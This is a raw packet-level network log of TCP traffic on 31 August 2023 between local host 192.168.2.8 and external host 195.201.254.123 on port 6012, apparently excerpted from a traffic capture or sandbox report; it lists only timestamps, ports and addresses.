Aug 31, 2023 16:50:49.699729919 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699755907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699769020 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699804068 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699815989 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699851036 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699872017 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699898005 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699918985 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699956894 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699958086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699981928 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700001001 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700033903 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700041056 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700064898 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700083017 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700117111 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700124979 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700161934 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700169086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700186968 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700211048 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700238943 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700252056 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700287104 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700294018 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700314045 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700337887 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700371981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700377941 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700392008 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700436115 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700472116 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700476885 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700499058 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700517893 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700546026 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700557947 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700582981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700598001 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700625896 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700639963 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700676918 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700681925 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700710058 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700728893 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700762033 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700774908 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700799942 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700815916 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700845003 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700856924 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700898886 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700900078 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700926065 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700939894 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.700970888 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.700984001 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701009989 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701037884 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701055050 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701081991 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701112032 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701123953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701143026 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701164961 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701198101 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701205015 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701240063 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701247931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701281071 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701289892 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701317072 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701333046 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701375961 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701375961 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701400995 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701416969 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701448917 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701458931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701479912 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701500893 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701531887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701543093 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701585054 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701606989 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701606989 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701627970 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701670885 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701694012 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701694012 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701715946 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701734066 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701756954 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701787949 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701800108 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701828003 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701841116 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701873064 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701881886 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701905012 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701924086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.701953888 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.701972008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702001095 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702023029 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702047110 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702078104 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702110052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702119112 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702136993 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702161074 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702191114 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702202082 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702222109 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702241898 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702275038 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702282906 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702306032 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702323914 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702354908 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702366114 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702395916 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702406883 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702430010 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702447891 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702481031 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702487946 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702511072 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702529907 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702567101 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702569008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702589035 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702610970 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702640057 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702651024 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702670097 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702692032 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702728987 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702734947 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702760935 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702775955 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702807903 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702817917 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702837944 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702860117 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702888012 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702899933 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702922106 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702939987 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.702966928 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.702980995 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703008890 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703021049 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703051090 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703063011 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703088045 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703103065 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703135014 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703145981 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703175068 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703186989 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703226089 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703227997 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703249931 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703269005 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703293085 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703310013 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703335047 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703352928 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703378916 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703393936 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703422070 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703433990 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703493118 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703495979 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703495979 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703533888 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703567028 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703576088 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703593016 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703617096 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703648090 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703658104 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703680038 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703701973 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703730106 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703742981 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703768969 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703783989 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703819990 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703830957 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703850031 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703885078 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703900099 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703938961 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.703965902 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.703979015 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.704010963 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.704020977 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.704040051 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.704063892 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.704092026 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.704127073 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.718539953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.718666077 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725277901 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725326061 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725356102 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725388050 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725390911 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725421906 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725434065 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725455999 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725483894 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725486994 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725512028 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725519896 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725539923 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725553036 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725575924 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725596905 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725610971 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725629091 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725661039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725696087 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725697994 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725723982 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725732088 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725748062 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725764036 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725795984 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725827932 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725858927 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725888968 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725895882 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725895882 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725895882 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725895882 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725920916 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725944996 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725955009 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725970030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.725986958 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.725996971 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726018906 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726037979 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726052046 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726058006 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726093054 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726109028 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726109028 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726135015 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726166964 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726182938 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726197958 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726205111 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726229906 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726253033 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726262093 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726279974 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726294041 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726295948 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726324081 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726325989 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726357937 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726358891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726412058 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726418018 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726459026 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726460934 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726502895 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726516008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726528883 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726577997 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726588011 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726634979 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726643085 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726691008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726706028 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726748943 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726766109 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726795912 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726819038 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726835012 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726859093 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726877928 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726906061 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726918936 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726947069 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.726960897 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.726984978 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727000952 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727034092 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727041960 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727070093 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727082968 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727117062 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727123976 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727149010 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727169037 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727196932 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727210045 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727242947 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727252960 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727293015 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727308035 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727333069 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727360964 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727387905 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727401018 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727426052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727442026 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727488995 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727503061 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727511883 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727545023 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727572918 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727586031 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727617025 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727627039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727643967 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727673054 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727690935 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727720976 CEST	6012	49774	195.201.254.123	192.168.2.8
